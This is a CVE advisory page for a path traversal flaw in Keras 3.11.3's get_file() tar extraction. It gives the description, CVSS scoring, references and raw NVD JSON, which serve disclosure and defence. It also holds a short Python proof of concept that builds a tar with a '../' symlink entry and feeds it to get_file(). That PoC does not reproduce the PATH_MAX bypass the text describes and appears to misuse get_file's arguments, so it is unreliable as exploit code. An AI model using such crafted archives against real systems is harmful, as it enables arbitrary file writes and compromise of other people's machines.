CVE-2025-12638

Description

Keras version 3.11.3 is affected by a path traversal vulnerability in the keras.utils.get_file() function when extracting tar archives. The vulnerability arises because the function uses Python's tarfile.extractall() method without the security-critical filter='data' parameter. Although Keras attempts to filter unsafe paths using filter_safe_paths(), this filtering occurs before extraction, and a PATH_MAX symlink resolution bug triggers during extraction. This bug causes symlink resolution to fail due to path length limits, resulting in a security bypass that allows files to be written outside the intended extraction directory. This can lead to arbitrary file writes outside the cache directory, enabling potential system compromise or malicious code execution. The vulnerability affects Keras installations that process tar archives with get_file() and does not affect versions where this extraction method is secured with the appropriate filter parameter.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Keras < 3.11.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import tarfile
import os

# 构造恶意tar档案
with tarfile.open('malicious.tar', 'w') as tar:
    # 创建指向父目录的符号链接
    info = tarfile.TarInfo(name='../malicious.py')
    info.type = tarfile.SYMTYPE
    info.linkname = '/tmp/malicious.py'
    tar.addfile(info)

# 利用漏洞
from keras.utils import get_file
get_file('extracted', 'malicious.tar')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12638
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12638
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12638/
[4] VulDB https://vuldb.com/cve/CVE-2025-12638
[5] https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12638", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:00.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Keras version 3.11.3 is affected by a path traversal vulnerability in the keras.utils.get_file() function when extracting tar archives. The vulnerability arises because the function uses Python's tarfile.extractall() method without the security-critical filter='data' parameter. Although Keras attempts to filter unsafe paths using filter_safe_paths(), this filtering occurs before extraction, and a PATH_MAX symlink resolution bug triggers during extraction. This bug causes symlink resolution to fail due to path length limits, resulting in a security bypass that allows files to be written outside the intended extraction directory. This can lead to arbitrary file writes outside the cache directory, enabling potential system compromise or malicious code execution. The vulnerability affects Keras installations that process tar archives with get_file() and does not affect versions where this extraction method is secured with the appropriate filter parameter."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4", "source": "[email protected]"}]}}